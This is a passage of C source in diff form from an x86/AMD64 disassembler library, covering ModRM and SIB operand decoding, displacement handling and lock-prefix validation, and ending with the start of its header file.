+ assert(X86Instruction->HasModRM);
+ if (!Decode) continue;
+ Operand->Flags |= OP_REG;
+ switch (Operand->Length)
+ {
+ case 8: Operand->Register = AMD64_64BIT_OFFSET + rex_modrm.reg; break;
+ case 4: Operand->Register = X86_32BIT_OFFSET + rex_modrm.reg; CHECK_AMD64_REG(); break;
+ case 2: Operand->Register = X86_16BIT_OFFSET + rex_modrm.reg; CHECK_AMD64_REG(); break;
+ case 1: Operand->Register = X86_8BIT_OFFSET + rex_modrm.reg; if (X86Instruction->rex_b) CHECK_AMD64_REG(); break;
+ default: assert(0); return NULL;
+ }
+ X86_SET_REG(rex_modrm.reg);
+ if (Disassemble)
+ {
+ APPENDS(X86_Registers[Operand->Register]);
+ X86_WRITE_OPFLAGS();
+ }
+ //DISASM_OUTPUT(("[SetOperand] AMODE_G (general register)\n"));
+ continue;
+
+ case AMODE_S: // modrm.reg = segment register
+ assert(X86Instruction->HasModRM);
+ if (!Decode) continue;
+ Operand->Flags |= OP_REG;
+ switch (X86Instruction->OperandSize)
+ {
+ case 8:
+ case 4:
+ case 2:
+ if (rex_modrm.reg <= 5) Operand->Register = X86_SEGMENT_OFFSET + rex_modrm.reg;
+ break;
+ default:
+ assert(0);
+ return NULL;
+ }
+
+ X86_SET_REG(0);
+ if (Disassemble)
+ {
+ if (rex_modrm.reg > 5) APPEND(OPCSTR, SIZE_LEFT, "seg_%02X", rex_modrm.reg);
+ else APPENDS(X86_Registers[Operand->Register]);
+ X86_WRITE_OPFLAGS();
+ }
+ //DISASM_OUTPUT(("[SetOperand] AMODE_S (segment register)\n"));
+ continue;
+
+ case AMODE_T: // modrm.reg = test register
+ assert(X86Instruction->HasModRM);
+ if (!Decode) continue;
+ Instruction->Groups |= ITYPE_SYSTEM;
+ Instruction->NeedsEmulation = TRUE;
+ Operand->Flags |= OP_REG;
+ switch (X86Instruction->OperandSize)
+ {
+ case 8:
+ case 4:
+ case 2:
+ Operand->Register = X86_TEST_OFFSET + rex_modrm.reg;
+ break;
+ default:
+ assert(0);
+ return NULL;
+ }
+
+ X86_SET_REG(0);
+ if (Disassemble)
+ {
+ APPENDS(X86_Registers[Operand->Register]);
+ X86_WRITE_OPFLAGS();
+ }
+ //DISASM_OUTPUT(("[SetOperand] AMODE_T (test register)\n"));
+ continue;
+
+ case AMODE_C: // modrm.reg = control register
+ assert(X86Instruction->HasModRM);
+ assert(Instruction->Type == ITYPE_MOV);
+ if (!Decode) continue;
+ Instruction->Groups |= ITYPE_SYSTEM;
+ Instruction->NeedsEmulation = TRUE;
+ Operand->Flags |= OP_REG;
+ if (IS_AMD64()) X86Instruction->OperandSize = 8;
+ switch (X86Instruction->OperandSize)
+ {
+ case 8:
+ case 4:
+ case 2:
+ Operand->Register = X86_CONTROL_OFFSET + rex_modrm.reg;
+ break;
+ default:
+ assert(0);
+ return NULL;
+ }
+
+ X86_SET_REG(0);
+ if (Disassemble)
+ {
+ APPENDS(X86_Registers[Operand->Register]);
+ X86_WRITE_OPFLAGS();
+ }
+ //DISASM_OUTPUT(("[SetOperand] AMODE_C (control register)\n"));
+ continue;
+
+ case AMODE_D: // modrm.reg = debug register
+ assert(X86Instruction->HasModRM);
+ assert(Instruction->Type == ITYPE_MOV);
+ if (!Decode) continue;
+ Instruction->NeedsEmulation = TRUE;
+ Operand->Flags |= OP_REG;
+ Instruction->Groups |= ITYPE_SYSTEM;
+ Instruction->NeedsEmulation = TRUE;
+ if (IS_AMD64()) X86Instruction->OperandSize = 8;
+ switch (X86Instruction->OperandSize)
+ {
+ case 8:
+ case 4:
+ case 2:
+ Operand->Register = X86_DEBUG_OFFSET + rex_modrm.reg;
+ break;
+ default:
+ assert(0);
+ return NULL;
+ }
+
+ X86_SET_REG(0);
+ if (Disassemble)
+ {
+ APPENDS(X86_Registers[Operand->Register]);
+ X86_WRITE_OPFLAGS();
+ }
+ //DISASM_OUTPUT(("[SetOperand] AMODE_D (debug register)\n"));
+ continue;
+
+ ////////////////////////////////////////////////////////////
+ // Mod R/M byte with memory or register
+ ////////////////////////////////////////////////////////////
+
+ case AMODE_M: // memory only
+ assert(X86Instruction->HasModRM);
+ if (modrm.mod == 3)
+ {
+ if (!SuppressErrors) printf("[0x%08I64X] ERROR: mod = 3 for AMODE_M (\"%s\")\n", VIRTUAL_ADDRESS, X86Instruction->Opcode.Mnemonic);
+ goto abort;
+ }
+ assert(X86Instruction->Segment == SEG_DS || X86Instruction->HasSegmentOverridePrefix);
+ //DISASM_OUTPUT(("[SetOperand] AMODE_M (memory only)\n"));
+ Address = SetModRM32(Instruction, Address, Operand, OperandIndex, SuppressErrors);
+ if (!Address) return NULL;
+ break;
+
+ case AMODE_E: // general register or memory
+ assert(X86Instruction->HasModRM);
+ if (OperandType == OPTYPE_p && modrm.mod == 3)
+ {
+ if (!SuppressErrors) printf("[0x%08I64X] ERROR: mod = 3 for AMODE_E with OPTYPE_p (\"%s\")\n", VIRTUAL_ADDRESS, X86Instruction->Opcode.Mnemonic);
+ goto abort;
+ }
+
+ //DISASM_OUTPUT(("[SetOperand] AMODE_E (general register or memory)\n"));
+ Address = SetModRM32(Instruction, Address, Operand, OperandIndex, SuppressErrors);
+ if (!Address) return NULL;
+ if (Decode && (Instruction->Type == ITYPE_PUSH || Instruction->Type == ITYPE_POP))
+ {
+ assert(X86Instruction->OperandSize >= Operand->Length);
+ Operand->Length = X86Instruction->OperandSize;
+ }
+ break;
+
+ case AMODE_Q: // mmx register or memory address
+ assert(X86Instruction->HasModRM);
+ //DISASM_OUTPUT(("[SetOperand] AMODE_Q (MMX register or memory address)\n"));
+ if (modrm.mod == 3) // it is a register
+ {
+ if (rex_modrm.rm > 7)
+ {
+ if (!SuppressErrors) printf("[0x%08I64X] ERROR: invalid mmx register %d for AMODE_P (\"%s\")\n", VIRTUAL_ADDRESS, rex_modrm.rm, X86Instruction->Opcode.Mnemonic);
+ goto abort;
+ }
+ Operand->Register = X86_MMX_OFFSET + rex_modrm.rm;
+ Operand->Flags |= OP_REG;
+ X86_SET_REG(0);
+ }
+ else
+ {
+ Address = SetModRM32(Instruction, Address, Operand, OperandIndex, SuppressErrors);
+ if (!Address) return NULL;
+ }
+ break;
+
+ case AMODE_W: // xmm register or memory address
+ assert(X86Instruction->HasModRM);
+ //DISASM_OUTPUT(("[SetOperand] AMODE_W (XMM register or memory address)\n"));
+ if (modrm.mod == 3) // it is a register
+ {
+ Operand->Register = X86_XMM_OFFSET + rex_modrm.rm;
+ Operand->Flags |= OP_REG;
+ X86_SET_REG(0);
+ }
+ else
+ {
+ Address = SetModRM32(Instruction, Address, Operand, OperandIndex, SuppressErrors);
+ if (!Address) return NULL;
+ }
+ break;
+
+ default:
+ assert(0);
+ return NULL;
+ }
+
+ if (!Decode) continue;
+
+ // If this is reached then SetModRM32 was called
+ if ((Operand->Flags & OP_ADDRESS))
+ {
+ assert(Operand->Length);
+ switch (Operand->Register)
+ {
+ case X86_REG_BP:
+ case X86_REG_EBP:
+ case AMD64_REG_RBP:
+ if (X86Instruction->Displacement > 0) Operand->Flags |= OP_PARAM;
+ else Operand->Flags |= OP_LOCAL;
+ break;
+ default:
+ break;
+ }
+ }
+
+ if (Disassemble)
+ {
+ Index = OperandType >> OPTYPE_SHIFT;
+ assert(Index > 0 && Index < MAX_OPTYPE_INDEX && OptypeHandlers[Index]);
+ OptypeHandlers[Index](Instruction, Operand, OperandIndex);
+ X86_WRITE_OPFLAGS();
+ }
+ }
+
+ return Address;
+
+abort:
+ if (!SuppressErrors)
+ {
+#ifdef TEST_DISASM
+ printf("Dump of 0x%04I64X:\n", VIRTUAL_ADDRESS);
+ __try { DumpAsBytes(stdout, Instruction->Address, (ULONG_PTR)VIRTUAL_ADDRESS, 16, TRUE); }
+ __except (GetExceptionCode() == EXCEPTION_ACCESS_VIOLATION ? EXCEPTION_EXECUTE_HANDLER : EXCEPTION_CONTINUE_SEARCH) {}
+#endif
+ fflush(stdout);
+ }
+ return NULL;
+}
+
+// NOTE: Address points one byte after ModRM
+INTERNAL U8 *SetModRM16(INSTRUCTION *Instruction, U8 *Address, INSTRUCTION_OPERAND *Operand, U32 OperandIndex, BOOL SuppressErrors)
+{
+ MODRM modrm;
+ X86_INSTRUCTION *X86Instruction = &Instruction->X86;
+
+ DISASM_OUTPUT(("[SetModRM16] Current instruction length = %d\n", Instruction->Length));
+ modrm = X86Instruction->modrm;
+ assert(!X86Instruction->rex_b);
+
+ //
+ // Both operands are registers
+ // Condition: mod = 3
+ //
+ if (modrm.mod == 3)
+ {
+ //DISASM_OUTPUT(("[SetModRM16] Both regs (rm_reg %d)\n", modrm.rm));
+ switch (Operand->Length)
+ {
+ case 4: Operand->Register = X86_32BIT_OFFSET + modrm.rm; break;
+ case 2: Operand->Register = X86_16BIT_OFFSET + modrm.rm; break;
+ case 1: Operand->Register = X86_8BIT_OFFSET + modrm.rm; break;
+ default: assert(0); return NULL;
+ }
+ Operand->Flags |= OP_REG;
+ }
+
+ //
+ // Address is an absolute address (technically a 16-bit offset from DS:0)
+ // Condition: mod = 0 and rm = 6
+ //
+ else if (modrm.mod == 0 && modrm.rm == 6)
+ {
+ //DISASM_OUTPUT(("[SetModRM16] Absolute addressing (displacement 0x%04X)\n", *(S16 *)Address));
+ X86Instruction->Displacement = (S64)(*((S16 *)Address));
+ if (IS_VALID_ADDRESS(X86Instruction->Displacement))
+ {
+ X86Instruction->HasFullDisplacement = TRUE;
+ X86_SET_TARGET();
+ Operand->Flags |= OP_GLOBAL;
+ }
+ X86_SET_ADDR();
+ Operand->Flags |= OP_ADDRESS;
+ INSTR_INC(2);
+ }
+
+ // Conditions:
+ // (1) mod = 0 and rm != 6
+ // (2) mod = 1-2 and rm = 0-7
+ else
+ {
+ switch (modrm.mod)
+ {
+ case 0: // no displacement
+ //DISASM_OUTPUT(("[SetModRM16] Indirect addressing (no displacement)\n"));
+ break;
+ case 1: // 8-bit signed displacement
+ //DISASM_OUTPUT(("[SetModRM16] Indirect addressing (displacement = 0x%02X, reg_rm = %d)\n", *(S8 *)Address, modrm.rm));
+ X86Instruction->Displacement = (S64)(*((S8 *)Address));
+ INSTR_INC(1); // increment Instruction->Length and address
+ break;
+ case 2: // 16-bit displacement
+ //DISASM_OUTPUT(("[SetModRM16] Indirect addressing (displacement = 0x%04X, reg_rm = %d)\n", *(S16 *)Address, modrm.rm));
+ X86Instruction->Displacement = (S64)(*((S16 *)Address));
+ if (IS_VALID_ADDRESS(X86Instruction->Displacement))
+ {
+ Operand->Flags |= OP_GLOBAL;
+ X86Instruction->HasFullDisplacement = TRUE;
+ }
+ INSTR_INC(2);
+ break;
+ }
+
+ switch (modrm.rm)
+ {
+ case 0:
+ //DISASM_OUTPUT(("[SetModRM16] Addressing mode [BX+SI]\n"));
+ X86Instruction->BaseRegister = X86_REG_BX;
+ X86Instruction->IndexRegister = X86_REG_SI;
+ X86Instruction->HasIndexRegister = TRUE;
+ break;
+ case 1:
+ //DISASM_OUTPUT(("[SetModRM16] Addressing mode [BX+DI]\n"));
+ X86Instruction->BaseRegister = X86_REG_BX;
+ X86Instruction->IndexRegister = X86_REG_DI;
+ X86Instruction->HasIndexRegister = TRUE;
+ break;
+ case 2:
+ //DISASM_OUTPUT(("[SetModRM16] Addressing mode [BP+SI]\n"));
+ X86Instruction->BaseRegister = X86_REG_BP;
+ X86Instruction->IndexRegister = X86_REG_SI;
+ X86Instruction->HasIndexRegister = TRUE;
+ X86_SET_SEG(REG_BP);
+ break;
+ case 3:
+ //DISASM_OUTPUT(("[SetModRM16] Addressing mode [BP+DI]\n"));
+ X86Instruction->BaseRegister = X86_REG_BP;
+ X86Instruction->IndexRegister = X86_REG_DI;
+ X86Instruction->HasIndexRegister = TRUE;
+ X86_SET_SEG(REG_BP);
+ break;
+ case 4:
+ //DISASM_OUTPUT(("[SetModRM16] Addressing mode [SI]\n"));
+ X86Instruction->BaseRegister = X86_REG_SI;
+ break;
+ case 5:
+ //DISASM_OUTPUT(("[SetModRM16] Addressing mode [DI]\n"));
+ X86Instruction->BaseRegister = X86_REG_DI;
+ break;
+ case 6:
+ //DISASM_OUTPUT(("[SetModRM16] Addressing mode [BP]\n"));
+ X86Instruction->BaseRegister = X86_REG_BP;
+ break;
+ case 7:
+ //DISASM_OUTPUT(("[SetModRM16] Addressing mode [BX]\n"));
+ X86Instruction->BaseRegister = X86_REG_BX;
+ break;
+ }
+
+ X86Instruction->HasBaseRegister = TRUE;
+ Operand->Flags |= OP_ADDRESS | OP_REG;
+ X86_SET_ADDR();
+ }
+
+ return Address;
+}
+
+// NOTE: Address points one byte after ModRM
+INTERNAL U8 *SetModRM32(INSTRUCTION *Instruction, U8 *Address, INSTRUCTION_OPERAND *Operand, U32 OperandIndex, BOOL SuppressErrors)
+{
+ MODRM modrm;
+ REX_MODRM rex_modrm;
+ U32 i, ImmediateSize = 0;
+ X86_INSTRUCTION *X86Instruction = &Instruction->X86;
+
+ if (X86Instruction->AddressSize == 2)
+ {
+ return SetModRM16(Instruction, Address, Operand, OperandIndex, SuppressErrors);
+ }
+
+ //DISASM_OUTPUT(("[SetModRM32] Length %d, modrm = 0x%02X\n", Instruction->Length, X86Instruction->modrm_b));
+ modrm = X86Instruction->modrm;
+ rex_modrm = X86Instruction->rex_modrm;
+
+ //
+ // Both operands are registers
+ // Condition: mod = 3
+ //
+ if (modrm.mod == 3)
+ {
+ switch (Operand->Length)
+ {
+ case 8: Operand->Register = AMD64_64BIT_OFFSET + rex_modrm.rm; break;
+ case 4: Operand->Register = X86_32BIT_OFFSET + rex_modrm.rm; CHECK_AMD64_REG(); break;
+ case 2: Operand->Register = X86_16BIT_OFFSET + rex_modrm.rm; CHECK_AMD64_REG(); break;
+ case 1: Operand->Register = X86_8BIT_OFFSET + rex_modrm.rm; if (X86Instruction->rex_b) CHECK_AMD64_REG(); break;
+ default: assert(0); return NULL;
+ }
+ X86_SET_REG(rex_modrm.rm);
+ Operand->Flags |= OP_REG;
+ }
+
+ //
+ // Address is an absolute address (technically a 32-bit offset from DS:0)
+ // mod = 0 and rm = 5
+ //
+ else if (modrm.mod == 0 && modrm.rm == 5)
+ {
+ //DISASM_OUTPUT(("[SetModRM32] Absolute addressing (displacement 0x%08lX)\n", *(S32 *)Address));
+ Operand->Flags |= OP_ADDRESS;
+ X86Instruction->Displacement = (S64)*((S32 *)Address);
+ INSTR_INC(4); // increment Instruction->Length and address
+
+ if (IS_AMD64())
+ {
+ // RIP-relative addressing always replaced Disp32, even when using a 32-bit address space
+ // (via address size override prefix)
+ switch (X86Instruction->OperandSize)
+ {
+ case 8: Operand->Register = AMD64_REG_RIP; break;
+ case 4: Operand->Register = X86_REG_EIP; break;
+ case 2: Operand->Register = X86_REG_IP; break;
+ default: assert(0); return NULL;
+ }
+ X86Instruction->BaseRegister = Operand->Register;
+ X86Instruction->HasBaseRegister = TRUE;
+ X86Instruction->Relative = TRUE;
+ Operand->Flags |= OP_IPREL | OP_SIGNED | OP_REG;
+ SANITY_CHECK_SEGMENT_OVERRIDE();
+ if (!X86Instruction->HasSegmentOverridePrefix) X86Instruction->Segment = SEG_CS;
+ X86Instruction->HasFullDisplacement = TRUE;
+
+ // Since there may be an immediate value to follow, it is necessary
+ // to determine the length in order get the proper offset
+ //
+ // Maybe there is a better way to do this, since this is wasteful
+ // (the size of the immediate value will have to be decoded again later
+ // in SetOperands)
+
+ for (ImmediateSize = 0, i = OperandIndex+1; i < Instruction->OperandCount; i++)
+ {
+ if ((X86Instruction->Opcode.OperandFlags[i] & X86_AMODE_MASK) != AMODE_I) continue;
+ else assert(!ImmediateSize);
+ switch (X86Instruction->Opcode.OperandFlags[i] & X86_OPTYPE_MASK)
+ {
+ case OPTYPE_v:
+ ImmediateSize = X86Instruction->OperandSize;
+ break;
+ case OPTYPE_z:
+ switch (X86Instruction->OperandSize)
+ {
+ case 8: case 4: ImmediateSize = 4; break;
+ case 2: ImmediateSize = 2; break;
+ default: assert(0); return NULL;
+ }
+ break;
+ case OPTYPE_b:
+ ImmediateSize = 1;
+ break;
+ case OPTYPE_w:
+ ImmediateSize = 2;
+ break;
+ case OPTYPE_1:
+ break;
+ default:
+ assert(0);
+ break;
+ }
+ }
+
+ Operand->TargetAddress = ApplyDisplacement((U64)Address + ImmediateSize, Instruction);
+ }
+ else if (IS_VALID_ADDRESS(X86Instruction->Displacement))
+ {
+ X86_SET_TARGET();
+ Operand->Flags |= OP_GLOBAL;
+ X86Instruction->HasFullDisplacement = TRUE;
+ }
+
+ X86_SET_ADDR();
+ }
+
+ //
+ // Addressing mode indicated by SIB byte
+ // Condition: mod = 0-2 and rm = 4
+ //
+ else if (modrm.rm == 4)
+ {
+ // The X86_SET_*() is called from within SetSIB()
+ Address = SetSIB(Instruction, Address, Operand, OperandIndex, SuppressErrors);
+ if (!Address)
+ {
+ assert(0);
+ return NULL;
+ }
+
+ if (X86Instruction->sib.base != 5) // if base == 5, the displacement is handled in SetSIB
+ {
+ switch (modrm.mod)
+ {
+ case 1: // 8-bit displacement
+ //DISASM_OUTPUT(("[SetModRM32] After SIB: displacement 0x%02X\n", *((S8 *)Address)));
+ X86Instruction->Displacement = (S64)(*((S8 *)Address));
+ INSTR_INC(1); // increment Instruction->Length and address
+ break;
+ case 2: // 32-bit displacement
+ //DISASM_OUTPUT(("[SetModRM32] After SIB: displacement 0x%08lX\n", *((S32 *)Address)));
+ X86Instruction->Displacement = (S64)*((S32 *)Address);
+ if (IS_VALID_ADDRESS(X86Instruction->Displacement))
+ {
+ Operand->Flags |= OP_GLOBAL;
+ X86Instruction->HasFullDisplacement = TRUE;
+ }
+ INSTR_INC(4); // increment Instruction->Length and address
+ break;
+ }
+ }
+ }
+
+ // Indirect addressing
+ // Conditions:
+ // (1) mod = 0 and (rm = 0-3 or 6-7)
+ // (2) mod = 1-2 and rm != 4
+ else
+ {
+ switch (X86Instruction->AddressSize)
+ {
+ case 8: Operand->Register = AMD64_64BIT_OFFSET + rex_modrm.rm; break;
+ case 4: Operand->Register = X86_32BIT_OFFSET + rex_modrm.rm; CHECK_AMD64_REG(); break;
+ default: assert(0); return NULL;
+ }
+ X86Instruction->BaseRegister = Operand->Register;
+ X86Instruction->HasBaseRegister = TRUE;
+ Operand->Flags |= OP_ADDRESS | OP_REG;
+ X86_SET_SEG(rex_modrm.rm);
+ X86_SET_ADDR();
+
+ switch (modrm.mod)
+ {
+ case 0: // no displacement
+ //DISASM_OUTPUT(("[SetModRM32] Indirect addressing (no displacement, reg_rm = %d)\n", rex_modrm.rm));
+ break;
+ case 1: // 8-bit signed displacement
+ //DISASM_OUTPUT(("[SetModRM32] Indirect addressing (displacement = 0x%02X, reg_rm = %d)\n", *(S8 *)Address, rex_modrm.rm));
+ X86Instruction->Displacement = (S64)(*((S8 *)Address));
+ INSTR_INC(1); // increment Instruction->Length and address
+ break;
+ case 2: // 32-bit displacement
+ //DISASM_OUTPUT(("[SetModRM32] Indirect addressing (displacement = 0x%08lX, reg_rm = %d)\n", *(S32 *)Address, rex_modrm.rm));
+ X86Instruction->Displacement = (S64)*((S32 *)Address);
+ if (IS_VALID_ADDRESS(X86Instruction->Displacement))
+ {
+ Operand->Flags |= OP_GLOBAL;
+ X86Instruction->HasFullDisplacement = TRUE;
+ }
+ INSTR_INC(4); // increment Instruction->Length and address
+ break;
+ }
+ }
+
+ return Address;
+}
+
+// NOTE: Address points at SIB
+INTERNAL U8 *SetSIB(INSTRUCTION *Instruction, U8 *Address, INSTRUCTION_OPERAND *Operand, U32 OperandIndex, BOOL SuppressErrors)
+{
+ REX rex;
+ SIB sib;
+ REX_SIB rex_sib;
+ X86_INSTRUCTION *X86Instruction = &Instruction->X86;
+
+ X86Instruction->sib_b = *Address;
+ SET_SIB(X86Instruction->sib, *Address);
+ sib = X86Instruction->sib;
+ rex = X86Instruction->rex;
+ SET_REX_SIB(X86Instruction->rex_sib, rex, sib);
+ rex_sib = X86Instruction->rex_sib;
+
+ //if (!X86Instruction->rex_b) DISASM_OUTPUT(("[0x%08I64X] SIB = 0x%02X (scale=%d, index=%d, base=%d)\n", VIRTUAL_ADDRESS, *Address, sib.scale, sib.index, sib.base)); \
+ //else DISASM_OUTPUT(("[0x%08I64X] SIB = 0x%02X (scale=%d, index=%d, base=%d)\n", VIRTUAL_ADDRESS, *Address, sib.scale, rex_sib.index, rex_sib.base)); \
+ //DISASM_OUTPUT(("[SetSIB] Current instruction length = %d\n", Instruction->Length));
+
+ Operand->Flags |= OP_ADDRESS;
+ X86_SET_ADDR();
+ INSTR_INC(1); // increment Instruction->Length and address
+
+ if (sib.base == 5)
+ {
+ switch (X86Instruction->modrm.mod)
+ {
+ case 0:
+ X86Instruction->Displacement = (S64)*((S32 *)Address);
+ if (IS_VALID_ADDRESS(X86Instruction->Displacement))
+ {
+ X86Instruction->HasFullDisplacement = TRUE;
+ X86_SET_TARGET();
+ Operand->Flags |= OP_GLOBAL;
+ }
+ INSTR_INC(4);
+ break;
+ case 1:
+ X86Instruction->Displacement = (S64)(*((S8 *)Address));
+ if (rex_sib.base == 5)
+ {
+ switch (X86Instruction->AddressSize)
+ {
+ case 8: Operand->Register = AMD64_REG_RBP; break;
+ case 4: Operand->Register = X86_REG_EBP; break;
+ default: assert(0); return NULL;
+ }
+ X86_SET_SEG(REG_EBP);
+ }
+ else
+ {
+ Operand->Register = AMD64_REG_R13;
+ }
+
+ X86Instruction->BaseRegister = Operand->Register;
+ X86Instruction->HasBaseRegister = TRUE;
+ Operand->Flags |= OP_REG;
+ INSTR_INC(1);
+ break;
+ case 2:
+ X86Instruction->Displacement = (S64)*((S32 *)Address);
+ if (rex_sib.base == 5)
+ {
+ switch (X86Instruction->AddressSize)
+ {
+ case 8: Operand->Register = AMD64_REG_RBP; break;
+ case 4: Operand->Register = X86_REG_EBP; break;
+ default: assert(0); return NULL;
+ }
+ X86_SET_SEG(REG_EBP);
+ }
+ else
+ {
+ Operand->Register = AMD64_REG_R13;
+ }
+
+ if (IS_VALID_ADDRESS(X86Instruction->Displacement))
+ {
+ Operand->Flags |= OP_GLOBAL;
+ X86Instruction->HasFullDisplacement = TRUE;
+ }
+ X86Instruction->BaseRegister = Operand->Register;
+ X86Instruction->HasBaseRegister = TRUE;
+ Operand->Flags |= OP_REG;
+ INSTR_INC(4);
+ break;
+ }
+ }
+ else
+ {
+ switch (X86Instruction->AddressSize)
+ {
+ case 8: Operand->Register = AMD64_64BIT_OFFSET + rex_sib.base; break;
+ case 4: Operand->Register = X86_32BIT_OFFSET + rex_sib.base; CHECK_AMD64_REG(); break;
+ default: assert(0); return NULL;
+ }
+ X86Instruction->BaseRegister = Operand->Register;
+ X86Instruction->HasBaseRegister = TRUE;
+ X86_SET_SEG(rex_sib.base);
+ Operand->Flags |= OP_REG;
+ }
+
+ if (rex_sib.index != 4)
+ {
+ switch (X86Instruction->AddressSize)
+ {
+ case 8:
+ X86Instruction->IndexRegister = AMD64_64BIT_OFFSET + rex_sib.index;
+ break;
+ case 4:
+ X86Instruction->IndexRegister = X86_32BIT_OFFSET + rex_sib.index;
+ break;
+ default:
+ fflush(stdout);
+ assert(0);
+ return NULL;
+ }
+
+ Operand->TargetAddress = 0;
+ X86Instruction->HasIndexRegister = TRUE;
+ //DISASM_OUTPUT(("[SetSIB] Index register = %s\n", X86_Registers[X86_32BIT_OFFSET + rex_sib.index]));
+
+ switch (sib.scale)
+ {
+ case 0: X86Instruction->Scale = 1; break;
+ case 1: X86Instruction->Scale = 2; break;
+ case 2: X86Instruction->Scale = 4; break;
+ case 3: X86Instruction->Scale = 8; break;
+ }
+ //DISASM_OUTPUT(("[SetSIB] Scale = %d\n", X86Instruction->Scale));
+ }
+
+ return Address;
+}
+
+INTERNAL U64 ApplyDisplacement(U64 Address, INSTRUCTION *Instruction)
+{
+ X86_INSTRUCTION *X86Instruction = &Instruction->X86;
+
+#ifdef SUPPORT_WRAPAROUND
+ U64 VirtualAddress = Address + Instruction->VirtualAddressDelta;
+ switch (X86Instruction->OperandSize)
+ {
+ case 8:
+ {
+ U64 PreAddr = VirtualAddress;
+ U64 PostAddr = PreAddr + X86Instruction->Displacement;
+ return Address + (PostAddr - PreAddr);
+ }
+ case 4:
+ {
+ // We have to do this carefully...
+ // If EIP = FFFFF000 and Displacement=2000 then the final IP should be 1000
+ // due to wraparound
+ U32 PreAddr = (U32)VirtualAddress;
+ U32 PostAddr = PreAddr + (S32)X86Instruction->Displacement;
+ return Address + (PostAddr - PreAddr);
+ }
+ case 2:
+ {
+ // We have to do this carefully...
+ // If IP = F000 and Displacement=2000 then the final IP should be 1000
+ // due to wraparound
+ U16 PreAddr = (U16)VirtualAddress;
+ U16 PostAddr = PreAddr + (S16)X86Instruction->Displacement;
+ return Address + (PostAddr - PreAddr);
+ }
+ default:
+ assert(0);
+ return 0;
+ }
+#else
+ return (Address + X86Instruction->Displacement);
+#endif
+}
+
+
+
+INTERNAL BOOL IsValidLockPrefix(X86_INSTRUCTION *X86Instruction, U8 Opcode, U32 OpcodeLength, U8 Group, U8 OpcodeExtension)
+{
+ switch (OpcodeLength)
+ {
+ case 1:
+ switch (X86_LockPrefix_1[Opcode])
+ {
+ case 0: // instruction can't be locked
+ return FALSE;
+ case 1: // instruction can be locked
+ break;
+ case GR:
+ assert(Group);
+ if (!X86_LockPrefix_Groups[Group-1][OpcodeExtension]) return FALSE;
+ break;
+ default:
+ assert(0);
+ return FALSE;
+ }
+ break;
+
+ case 2:
+ case 3:
+ switch (X86_LockPrefix_2[Opcode])
+ {
+ case 0: // lock prefix is not acceptable
+ return FALSE;
+ case 1: // lock prefix allowed
+ break;
+ case GR:
+ assert(Group);
+ if (!X86_LockPrefix_Groups[Group-1][OpcodeExtension]) return FALSE;
+ break;
+ default:
+ assert(0);
+ return FALSE;
+ }
+ break;
+
+ default:
+ assert(0);
+ return FALSE;
+ }
+
+ if (!X86Instruction->HasModRM || X86Instruction->modrm.mod == 3 || !X86Instruction->HasDstAddressing)
+ {
+ DISASM_OUTPUT(("[0x%08I64X] ERROR: Instruction \"%s\" with LOCK prefix has invalid ModRM addressing\n", VIRTUAL_ADDRESS, X86Instruction->Opcode.Mnemonic, X86Instruction->Instruction->Address));
+ return FALSE;
+ }
+
+ return TRUE;
+}
+
+```
+
+`EasyHandlesDLL/disasm-lib/disasm_x86.h`:
+
+```h
+// Copyright (C) 2004, Matt Conover (mconover@gmail.com)
+#ifndef X86_DISASM_H
+#define X86_DISASM_H
+#ifdef __cplusplus
+extern "C" {
+#endif
+
+// NOTE: the processor may actually accept less than this amount (officially 15)
+// #define AMD64_MAX_INSTRUCTION_LEN 15 // theoretical max 25=5+2+1+1+8+8
+#define AMD64_MAX_PREFIX_LENGTH 5 // 4 legacy + 1 rex
+#define AMD64_MAX_ADDRESS_LENGTH 18 // modrm + sib + 8 byte displacement + 8 byte immediate value
+
+// NOTE: the processor may actually accept less than this amount (officially 15)
+#define X86_MAX_INSTRUCTION_LEN 15 // theoretical 16=4+2+1+1+4+4
+#define X86_MAX_PREFIX_LENGTH 4
+#define X86_MAX_OPCODE_LENGTH 3 // third byte is either a suffix or prefix
+#define X86_MAX_ADDRESS_LENGTH 10 // modrm + sib + 4 byte displacement + 4 byte immediate value
+#define X86_MAX_OPERANDS 3
+
+#define X86_PREFIX(a) ((a)->MnemonicFlags == ITYPE_EXT_PREFIX)
+#define X86_SPECIAL_EXTENSION(a) ((a)->MnemonicFlags & (ITYPE_EXT_MODRM|ITYPE_EXT_FPU|ITYPE_EXT_SUFFIX|ITYPE_EXT_64))
+#define X86_EXTENDED_OPCODE(a) ((a)->Table)
+#define X86_INVALID(a) (!(a)->MnemonicFlags && !(a)->Table)
+#define X86_OPERAND_COUNT(a) ((a)->OperandFlags[0] ? ((a)->OperandFlags[1] ? ((a)->OperandFlags[2] ? 3 : 2) : 1) : 0)
+#define X86_GET_CATEGORY(p) ((p)->MnemonicFlags & ITYPE_GROUP_MASK)
+#define X86_GET_TYPE(p) ((p)->MnemonicFlags & ITYPE_TYPE_MASK)
+
+// Various instructions being specially decoded
+#define X86_TWO_BYTE_OPCODE 0x0f
+#define PREFIX_SEGMENT_OVERRIDE_ES 0x26
+#define PREFIX_SEGMENT_OVERRIDE_CS 0x2e
+#define PREFIX_BRANCH_NOT_TAKEN 0x2e // used only with conditional jumps
+#define PREFIX_SEGMENT_OVERRIDE_SS 0x36
+#define PREFIX_SEGMENT_OVERRIDE_DS 0x3e
+#define PREFIX_BRANCH_TAKEN 0x3e // used only with conditional jumps
+#define PREFIX_SEGMENT_OVERRIDE_FS 0x64
+#define PREFIX_SEGMENT_OVERRIDE_GS 0x65
+#define PREFIX_OPERAND_SIZE 0x66
+#define PREFIX_ADDRESS_SIZE 0x67
+#define PREFIX_LOCK 0xf0
+#define PREFIX_REPNE 0xf2
+#define PREFIX_REP 0xf3
+
+//////////////////////////////////////////////////////////////////
+// Implicit operand handling
+//////////////////////////////////////////////////////////////////
+
+#define X86_AMODE_MASK 0x00FF0000 // bits 16-23 (AMODE_*)
+#define X86_OPFLAGS_MASK 0x0000FF80 // bits 7-15 (OPTYPE_*)
+#define X86_OPTYPE_MASK 0xFF0000FF // bits 0-7 (OPTYPE_* below + OP_REG) and 24-31 (OPTYPE_* above)
+
+#define OPTYPE_0 0x01
+#define OPTYPE_1 0x02
+#define OPTYPE_FF 0x03
+//...
+#define OPTYPE_CS 0x10
+#define OPTYPE_DS 0x11
+#define OPTYPE_ES 0x12
+#define OPTYPE_FS 0x13
+#define OPTYPE_GS 0x14
+#define OPTYPE_SS 0x15
+#define OPTYPE_CR0 0x16
+#define OPTYPE_TSC 0x17 // time stamp counter
+//...
+#define OPTYPE_FLAGS 0x20
